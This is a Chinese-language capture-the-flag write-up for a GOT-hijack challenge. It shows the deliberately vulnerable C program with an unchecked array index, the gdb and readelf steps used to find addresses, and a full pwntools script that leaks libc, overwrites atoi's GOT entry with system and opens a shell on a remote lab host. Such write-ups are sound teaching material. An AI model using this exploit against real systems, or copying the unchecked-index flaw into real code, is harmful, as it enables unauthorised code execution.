原始碼
#include <stdio.h>
#include <stdlib.h>
// gcc chal.c -o chal -z lazy
unsigned long long array[0x100];
void init()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
}
void menu()
{
printf("1: set\n");
printf("2: get\n");
}
int main()
{
char buf[0x100] = { 0 };
int choice;
int idx;
unsigned long long value;
init();
while (1) {
menu();
scanf("%256s", buf);
choice = atoi(buf);
printf("idx:\n");
scanf("%d", &idx);
if (choice == 1) {
printf("value:\n");
scanf("%llu", &value);
array[idx] = value;
} else if (choice == 2) {
printf("%#llx\n", array[idx]);
}
}
exit(1);
}
解題
解題思路
這題可以發現他對陣列的越位讀寫沒有限制,可透過更改GOT表紀錄的地址,調用system got,取得shell
確認保護機制
checksec --file=chal

使用gdb分析
發現atoi這個plt適合竄改GOT利用,因為每輪while都會自動呼叫他,將我們前面輸入的東西當成參數傳給atoi

尋找需要的資訊
將lab使用的libc複製出來
docker cp challenge-pwn-stack-gothijack-1:/lib/x86_64-linux-gnu/libc.so.6 ./libc.so.6
找出libc裡的system與atoi的plt位置
readelf --wide -s libc.so.6 |grep atoi
readelf --wide -s libc.so.6 |grep system

929: 0000000000043640 25 FUNC GLOBAL DEFAULT 15 atoi@@GLIBC_2.2.5
1481: 0000000000050d70 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
找出atoi GOT表的位置(非main呼叫GOT的位置)
gdb ./chal
b main
run
got atoi

0x555555558030
找出array的位置
gdb ./chal
b main
run
p &array

$1 = (<data variable, no debug info> *) 0x555555558080 <array>
計算index
0x555555558030-0x555555558080=-0x50
-80/8=-10
編寫payload
計算offset
r.sendlineafter(b'2: get\n',b'2')
r.sendlineafter(b'idx:\n',b'-10')
addr=int(r.recvline().strip(),16)
offset=addr-libc_atoi
編寫payload
system_addr=libc_system+offset
r.sendlineafter(b'2: get\n',b'1')
r.sendlineafter(b'idx:\n',b'-10')
r.sendlineafter(b'value:\n',str(system_addr).encode())
r.sendline(b'/bin/sh')#參數(執行指令)
實際payload
from pwn import *
context.arch = 'amd64'
host='66.235.110.67'
port=20007
r=remote(host,port)
'''
929: 0000000000043640 25 FUNC GLOBAL DEFAULT 15 atoi@@GLIBC_2.2.5
1481: 0000000000050d70 45 FUNC WEAK DEFAULT 15 system@@GLIBC_2.2.5
'''
libc_atoi=0x43640
libc_system=0x50d70
'''
[0x555555558030] atoi@GLIBC_2.2.5 -> 0x7ffff7df0130 (atoi) ◂— sub rsp, 8
$3 = (<data variable, no debug info> *) 0x555555558080 <array>
'''
array=0x555555558080
atoi_got=0x555555558030#got表位置
r.sendlineafter(b'2: get\n',b'2')
r.sendlineafter(b'idx:\n',b'-10')
addr=int(r.recvline().strip(),16)
offset=addr-libc_atoi
system_addr=libc_system+offset
r.sendlineafter(b'2: get\n',b'1')
r.sendlineafter(b'idx:\n',b'-10')
r.sendlineafter(b'value:\n',str(system_addr).encode())
r.sendline(b'/bin/sh')
r.interactive()
flag



說些什麼吧!